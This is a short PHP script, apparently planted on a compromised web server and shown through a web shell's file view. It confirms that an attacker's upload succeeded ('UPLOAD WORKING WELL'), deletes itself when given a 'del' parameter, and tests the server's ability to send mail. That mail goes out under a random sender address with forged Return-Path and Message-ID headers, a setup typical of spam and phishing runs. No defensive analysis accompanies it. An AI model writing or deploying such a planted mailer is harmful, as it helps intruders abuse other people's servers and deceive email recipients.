| Current Path : /var/www/ |
| Current File : //var/www/Tester.php |
<?php
if(isset($_GET['del'])) {
unlink(__FILE__);
}
echo "<b>Yesus777 confirms UPLOAD WORKING WELL</b>";
echo "
<form method='post'>
<input type='text' name='email'>
<input type='submit' name='submit'>
</form>";
if (isset($_POST['submit'])) {
$rand=rand(999,99999);
$usr="info".$rand;
$dom=$_SERVER['SERVER_NAME'];
$to = $_POST['email'];
$subject = "My subject";
$txt = $_SERVER['SERVER_NAME'];
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/HTML; charset="UTF-8';
$headers .= 'Return-Path: bounce-810_HTML-769869545-477063-1070564-43@bounce.email.oflce57578375.com'. "\r\n";
$headers .= 'Message-ID: <5bc7d69b-b2f2-4b32-8f45-bf9030f9f684@HK2PR01MB1076.apcprd01.prod.exchangelabs.com>'. "\r\n";
$headers = "From: $usr@$dom" . "\r\n";
if(mail($to,$subject,$txt,$headers) ==1) {
echo "<font color='green'>TheMoneyTeam Test to Mail OK ! , [+] Done </font>";
} else {
echo "<font color='red'>Bad Request , [-] Failed </font>";
}
}
?>